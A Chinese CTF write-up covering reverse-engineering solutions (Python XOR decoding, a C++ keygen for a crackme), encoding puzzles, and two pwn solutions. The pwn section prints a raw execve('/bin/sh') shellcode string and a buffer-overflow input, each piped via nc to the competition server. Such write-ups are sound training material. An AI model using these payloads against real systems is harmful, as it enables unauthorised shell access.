马上就要2022年了,人却被困在学校回不去。
但这并不影响我写个WriteUp,是时候该整理一下今年见到的东西了。
12-23 5点钟加了个Pwn的题解
Reverse
逆向的题都是从不同地方抄来的(属实太菜,想不出人家的脑洞)
但都是比赛真题,不知道能否给大家带来些启发
easy_py
介绍语:一道简单的Python逆向
分数:100
源码可以通过
https://tool.lu/pyc/
或uncompyle6反编译
1
| uncompyle6 ‐o 1.py ./easy_py.pyc
|
题解:
该题是创建了个全局变量,通过两个线程将其进行递减,并进行相关算法:将输入的数据从后往前(37~0),按照列表顺序,当顺序号为:
奇数执行 t1 线程算法:将该数据与顺序进行异或
偶数执行 t2 线程算法:将该数据与后一个数据进行异或
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| flag=[ 23, 72, 77, 125, 115, 74, 27, 98, 23, 87, 0, 95] j=0 for i in flag: if j%2==0: flag[j]=flag[j]^flag[j+1] j+=1 else: flag[j]=flag[j]^j j+=1
for i in range(len(flag)): flag[i]=chr(flag[i]) flagstr='' flagstr=''.join(flag)
print(flagstr)
|
easy_crack
介绍语:无
分数:200
Vivo千镜杯的题目,这是第一次做到这么简单的移动逆向,打开GDA基本就能得出结果
flag{vivoNeedYou}
Good_old_day
介绍语:正统C++逆向,第一次校赛的题目,分析算法写出注册机,用户名为CTFHUB,flag{Serial Number},使用x64dbg等工具有助于理解
分数:200
如果没人做出来给的Hint:看雪CTF——国色天香
题解:
https://blog.csdn.net/henuyl/article/details/107046902
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
|
#include <iostream> #include <cstdio> #include <cstring>
using namespace std; char uName[25] = {0}; char uNameKey[25] = {0}; char uKey[25] = {0};
int main(int argc) { cout << "please press your username..." << endl; int ebx = 0; int ecx = 0; int edx = 0; while(~scanf("%s", uName)){ int uNameLen = strlen(uName); if(uNameLen == 0){ cout << "Enter Name!" << endl; continue; }else if(uNameLen > 0x20){ cout << "Name can be max 32 Chars long!" << endl; continue; }else if(uNameLen < 5){ cout << "Name must be min 5 Chars long!" << endl; continue; } break; }
ecx = 0; int al = 0x5; edx = 0; while(true){ int cl = uName[edx]; cl = cl ^ 0x29; cl = cl + al; if(cl < 0x41 || cl > 0x5A){ cl = 0x52; cl = cl + al; } uNameKey[edx] = cl; uNameKey[edx + 1] = 0x0; edx ++; al --; if(al == 0) break; } edx = 0; al = 5; while(true){ int cl = uName[edx]; cl = cl ^ 0x27; cl = cl + al; if(cl < 0x41 || cl > 0x5A){ cl = 0x4D; cl = cl + al; } uNameKey[edx + 5] = cl; uNameKey[edx + 5 + 1] = 0x0; edx ++; al --; if(al == 0) break; } uNameKey[10] = '\0'; printf("uNameKey = %s\n", uNameKey); ebx = 0; ecx = 0; edx = 0;
while(true){
int dl = uNameKey[ecx]; if(dl == 0x0){ break; } dl += 0x5; if(dl > 0x5a){ dl -= 0xd; } dl = dl ^ 0xc; if(dl < 0x41){ dl = 0x4b; dl += ecx; } if(dl > 0x5A){ dl = 0x4b; dl -= ecx; } uKey[ecx] = dl; ecx ++; } uKey[ecx] = '\0';
printf("uKey = %s\n", uKey); getchar(); getchar(); return 0; }
|
补充一下,配合IDA的话效率会高些(会发现与题解的相似之处)
flag{CBVUTFZYXB}
Misc
奇奇怪怪的编码
介绍语:在CTF的Misc中,总能遇到些奇奇怪怪的编码,使用 CTF在线工具 则可以事半功倍
分数:100
文件:testflag.pdf
思路来源:2021极客谷杯
1 2 3 4 5
| 编码1:泡泡牙牙学语 xinik-samak-luvah-bosik-cysel-funox
编码2: JJ $=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+"_"+$.___+"\\"+$.__$+$.$_$+$.$_$+"\\"+$.__$+$.$_$+$.$$_+$.__$+"\\"+$.__$+$.$$_+$._$$+"\\"+$.__$+$.$$_+$._$$+"\\"+$.__$+$.$_$+$.__$+$.$_$_+"\\"+$.__$+$.$_$+$.___+"}"+"\"")())();
|
编码1:气泡加密-bubble
http://www.hiencode.com/bubble.html
编码2:JJ编码
http://www.hiencode.com/jjencode.html
flag{Pra1se_0mn1ssiah}
PDF
介绍语:一个很普通的PDF文件
分数:200
文件:testflag.pdf
思路来源:攻防世界-PDF
百度一堆答案,我自己做的时候格式工厂PDF转word,马上就出来了
flag{Warhamm3r_4k_is_ok}
Pwn
受Pwn出题人委托,挂上PWN的题解
居然没人做Pwn,可惜了
shellcode
1 2
| (echo -en "\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05";cat)|nc xaut.team 4002
|
Overflow
1 2
| (python -c "print('a'*0x801)";cat)|nc xaut.team 4001
|